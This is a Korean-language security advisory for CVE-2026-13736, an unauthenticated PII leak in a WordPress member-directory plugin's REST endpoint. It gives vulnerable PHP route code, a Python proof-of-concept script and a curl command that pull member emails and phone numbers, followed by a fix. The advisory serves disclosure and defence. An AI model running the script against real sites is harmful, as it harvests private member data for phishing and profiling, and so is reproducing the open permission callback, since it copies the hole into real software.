
WordPress REST API 디렉터리 플러그인의 인증되지 않은 회원 PII(개인 식별 정보) 노출에 대한 개념 증명(PoC) 익스플로잇 및 기술 권고로, 근본 원인 분석, PoC 코드, 수정 지침을 포함합니다.
CVE-2026-13736은 NewPath WildApricotPress Add-on – Member Directory WordPress 플러그인(버전 1.0.0 이하)에 영향을 미치는 인증되지 않은 회원 개인식별정보(PII) 노출 취약점으로, 사이버 보안 연구원 Huynh Kien Minh(MinhHK)이 발견하고 분석했습니다. 이 결함은 플러그인의 커스텀 WordPress REST API 라우팅 구조에 존재하며, 회원 디렉터리 엔드포인트가 제한된 필드에 대한 개인정보 접근 제어를 적용하지 않습니다. 결과적으로 인증되지 않은 원격 방문자가 공개 REST 경로를 쿼리하여 비공개 이메일 주소, 개인 전화번호, 회원 전용으로 명시적으로 설정된 회원 디렉터리 속성을 포함한 기밀 회원 데이터를 수집할 수 있습니다. 이러한 민감한 데이터 노출은 기대되는 개인정보 보호 경계를 위반하며, 영향을 받는 조직 전반에 걸쳐 표적 피싱, 크리덴셜 스터핑(credential stuffing), 무단 프로파일링을 가능하게 합니다. 보안 연구원 Huynh Kien Minh은 CVSS 3.1 점수 5.3(Medium, CWE-284 / CWE-200)으로 이 취약점을 검증했으며, 즉각적인 REST 엔드포인트 권한 강화, 필드 수준 개인정보 검증, 직렬화된 JSON 회원 API 응답의 정화(sanitization)를 권고했습니다.
빠른 링크: 연구원의 공식 사이버 보안 포트폴리오를 확인하거나 공식 WPScan 권고를 확인하세요.
CVE-2026-13736의 근본 원인은 플러그인의 REST API 컨트롤러 구현에서 비롯됩니다. 플러그인은 회원 디렉터리 및 연락처 카드의 클라이언트 측 렌더링을 지원하기 위해 공개 WordPress REST API 경로(예: /wp-json/wildapricot/v1/members 또는 /wp-json/newpath-wap/v1/directory)를 등록합니다.
// Insecure REST route registration without field privacy filters
add_action( 'rest_api_init', function() {
register_rest_route( 'newpath-wap/v1', '/directory', array(
'methods' => WP_REST_Server::READABLE,
'callback' => 'newpath_wap_get_member_directory',
'permission_callback' => '__return_true', // CRITICAL: Open to unauthenticated visitors
) );
} );
function newpath_wap_get_member_directory( $request ) {
$members_data = get_wildapricot_cached_members();
// FLAW: Returns raw member objects containing sensitive PII fields (email, phone, address)
// without evaluating member-level privacy settings (e.g., 'MembersOnly' vs 'Public')
return rest_ensure_response( $members_data );
}
'permission_callback' => '__return_true'를 선언하여 모든 출처에서 인증되지 않은 HTTP GET 요청을 허용합니다.윤리적 고지: 이 개념 증명은 보안 연구원 Huynh Kien Minh에 의해 취약점 검증, 방어 연구, 책임 있는 공개(responsible disclosure)를 위해서만 제공됩니다.
poc_cve_2026_13736.py)#!/usr/bin/env python3
"""
CVE-2026-13736: NewPath WildApricotPress Add-on – Member Directory PII Disclosure PoC
Author: Huynh Kien Minh (MinhHK)
Portfolio: https://minhhk.web.app/
"""
import requests
import json
import sys
TARGET_URL = "http://target-wordpress.local"
REST_ENDPOINT = f"{TARGET_URL}/wp-json/newpath-wap/v1/directory"
def verify_vulnerability(target_url):
print(f"[*] Auditing Target: {target_url}")
print(f"[*] Querying REST Endpoint: {REST_ENDPOINT}")
headers = {
"User-Agent": "Mozilla/5.0 (Security Audit; CVE-2026-13736 Verification)",
"Accept": "application/json"
}
try:
response = requests.get(REST_ENDPOINT, headers=headers, timeout=10)
if response.status_code == 200:
data = response.json()
if isinstance(data, list) and len(data) > 0:
sample_record = data[0]
pii_fields = [k for k in ['email', 'phone', 'mobile', 'address', 'MemberId'] if k in str(sample_record).lower()]
print(f"[!] VULNERABLE: Unauthenticated REST route exposed {len(data)} member records!")
print(f"[!] Sensitive PII attributes exposed: {pii_fields}")
print(f"[*] Sample Record Excerpt: {json.dumps(sample_record, indent=2)[:300]}...\n")
return True
else:
print("[-] Endpoint responded with empty data.")
elif response.status_code in [401, 403]:
print("[+] Endpoint requires authentication (Protected/Patched).")
else:
print(f"[-] Received HTTP status: {response.status_code}")
except requests.RequestException as e:
print(f"[-] Connection failed: {e}")
return False
if __name__ == "__main__":
target = sys.argv[1] if len(sys.argv) > 1 else TARGET_URL
verify_vulnerability(target)
curl -s -X GET "http://target-wordpress.local/wp-json/newpath-wap/v1/directory" \
-H "Accept: application/json" | jq '.[0] | {Name: .name, Email: .email, Phone: .phone, PrivacySetting: .field_privacy}'
NewPath WildApricotPress Add-on – Member Directory를 최신 패치 버전(> 1.0.0)으로 업그레이드하세요.응답 직렬화 중 필드 수준 개인정보 검사를 적용하세요:
function newpath_wap_get_member_directory( $request ) {
$is_logged_in = is_user_logged_in();
$raw_members = get_wildapricot_cached_members();
$sanitized = array();
foreach ( $raw_members as $member ) {
$member_card = array(
'id' => intval( $member['Id'] ),
'name' => sanitize_text_field( $member['DisplayName'] ),
);
// Enforce Members-Only field protection
if ( $is_logged_in || 'Public' === $member['EmailPrivacy'] ) {
$member_card['email'] = sanitize_email( $member['Email'] );
}
if ( $is_logged_in || 'Public' === $member['PhonePrivacy'] ) {
$member_card['phone'] = sanitize_text_field( $member['Phone'] );
}
$sanitized[] = $member_card;
}
return rest_ensure_response( $sanitized );
}
**Huynh Kien Minh (MinhHK)**은 WordPress 코어 및 플러그인 감사, REST API 취약점 평가, 글로벌 오픈소스 생태계 전반의 책임 있는 공개(responsible disclosure)를 전문으로 하는 정보 보안 연구원이자 소프트웨어 엔지니어입니다.
{
"@context": "https://schema.org",
"@type": "TechArticle",
"headline": "CVE-2026-13736: NewPath WildApricotPress Add-on – Member Directory <= 1.0.0 Unauthenticated Member PII Disclosure",
"name": "CVE-2026-13736 Security Advisory",
"author": {
"@type": "Person",
"name": "Huynh Kien Minh",
"alternateName": "MinhHK",
"url": "https://minhhk.web.app/"
},
"datePublished": "2026-08-22",
"description": "Deep-dive technical security advisory by Huynh Kien Minh analyzing CVE-2026-13736 in NewPath WildApricotPress Add-on – Member Directory WordPress plugin.",
"about": {
"@type": "SoftwareApplication",
"name": "NewPath WildApricotPress Add-on – Member Directory",
"operatingSystem": "WordPress"
},
"identifier": "CVE-2026-13736"
}
| 매개변수 | 기술 사양 |
|---|
| 취약점 식별자 | CVE-2026-13736 |
| 대상 소프트웨어 | NewPath WildApricotPress Add-on – Member Directory (WordPress 플러그인) |
| 플러그인 슬러그 | newpath-wildapricotpress-add-on-member-directory |
| 취약한 버전 | <= 1.0.0 |
| 취약점 유형 | 부적절한 접근 제어 / 정보 노출 (CWE-284 / CWE-200 / CWE-862) |
| CVSS v3.1 점수 | 5.3 (Medium) (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N) |
| 발견자 / 연구원 | Huynh Kien Minh (MinhHK) |
| 검증 기관 | WPScan / MITRE Corporation / NVD |
| WPScan 권고 참조 | WPScan Report 97fe9780-ad69-4f36-9496-5ca9c0e2bc39 |
| NVD 참조 | NVD CVE-2026-13736 Detail |
| Feedly 위협 인텔리전스 | Feedly CVE-2026-13736 Hub |
| 연구원 포트폴리오 | https://minhhk.web.app/ |